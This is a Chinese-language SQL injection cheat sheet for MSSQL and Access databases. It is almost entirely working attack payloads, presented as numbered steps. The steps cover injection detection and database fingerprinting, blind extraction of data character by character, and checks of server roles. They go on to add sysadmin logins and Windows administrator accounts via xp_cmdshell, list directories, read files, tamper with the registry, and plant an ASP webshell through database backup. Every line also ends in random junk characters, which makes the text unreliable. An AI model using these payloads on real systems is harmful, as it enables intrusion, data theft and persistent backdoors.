1.判断是否有注入;and 1=1 ;and 1=2 |f'U_nE#R/
2.初步判断是否是mssql ;and user>0 h=YY>
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3.注入参数是字符'and [查询条件] and ''=' U2/H,D
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' @no]*?Gpa
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5.判断数据库系统 (qlIQC
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;and (select count(*) from sysobjects)>0 mssql p=\DZU~1
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;and (select count(*) from msysobjects)>0 access z|F>+6l"Y7
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 NWNH)O@
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 p9XHYf72
(\.[pj%-O
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 lZV]Z3=p'0
e<YC=67n)
9.(1)猜字段的ascii值(access) +|r;t
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 fo&q/;l\
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(2)猜字段的ascii值(mssql) l!Z>QE`.S
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 QE)I7(
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10.测试权限结构(mssql) = t<!W
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?RiW:TQ*
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 5&v'aiWK
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- B@e,3:
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- @jN!j*Y H
|;6FhDW+'
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ?0hk~8c
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- l Vo](#W
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;and 1=(select IS_MEMBER('db_owner'));-- FT/H~|Z>
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11.添加mssql和系统的帐户 cz
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;exec master.dbo.sp_addlogin username;-- ss T o?WL|
;exec master.dbo.sp_password null,username,password;-- /],:sS7
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- G~a;q+7v'$
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;exec master.dbo.xp_cmdshell 'net user username password Otj=vGr0
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;H_yNrwA
# Fw<R'c
;exec master.dbo.xp_cmdshell 'net user username password /add';-- t<$9!"
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Zg5@l3w
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12.(1)遍历目录 60[f- 0X
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;create table dirs(paths varchar(100), id int) +Nv&Qu%
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;insert dirs exec master.dbo.xp_dirtree 'c:\' gEIjG
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;and (select top 1 paths from dirs)>0 [X#bDO<t
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) -9} ]J\
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,(N&%
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(2)遍历目录 37?%xQ!
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- jMcCu$i7
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 f";70}_
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 j +@1frp
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]2=5;)
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ,COSpq]6
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 OQ
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13.mssql中的存储过程 W!4GL>9m}A
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xp_regenumvalues 注册表根键, 子键 QL-((dZ<
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 !vr">@}K
/(BQzCP9O;
xp_regread 根键,子键,键值名 kMo;<Z
U;i:k%Bzy
;exec xp_regread mJc'oG-
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1Nx%uz
9j49#wG0"B
xp_regwrite 根键,子键, 值名, 值类型, 值 _T6WA&;8
[`=|^2n?
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ?:s `}b
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 5Jp@n .
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xp_regdeletevalue 根键,子键,值名 .oO_x>
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 R5X<8(4p
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 #PVgx9T=_
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14.mssql的backup创建webshell 9TO
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use model 6>%)qc$i
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create table cmd(str image); 0jrcXN~
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insert into cmd(str) values (''); J*.Nf)i
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backup database model to disk='c:\l.asp'; .P# c/SQp
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15.mssql内置函数 }z,4IHNn
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;and (select @@version)>0 获得Windows的版本号 $A7[?Ai ?
"}\z7^.W>
;and user_name()='dbo' 判断当前系统的连接用户是不是sa -[~{c]/ c
pA!+;Y!ZB<
;and (select user_name())>0 爆当前系统的连接用户 M98dQ%4I
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;and (select db_name())>0 得到当前连接的数据库 rD%(*|Y"c
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16.简洁的webshell @>qzRo
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use model \hc}xy
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create table cmd(str image); 'hVOK(o0
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insert into cmd(str) values (''); hK@1
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backup database model to disk='g:\wwwtest\l.asp';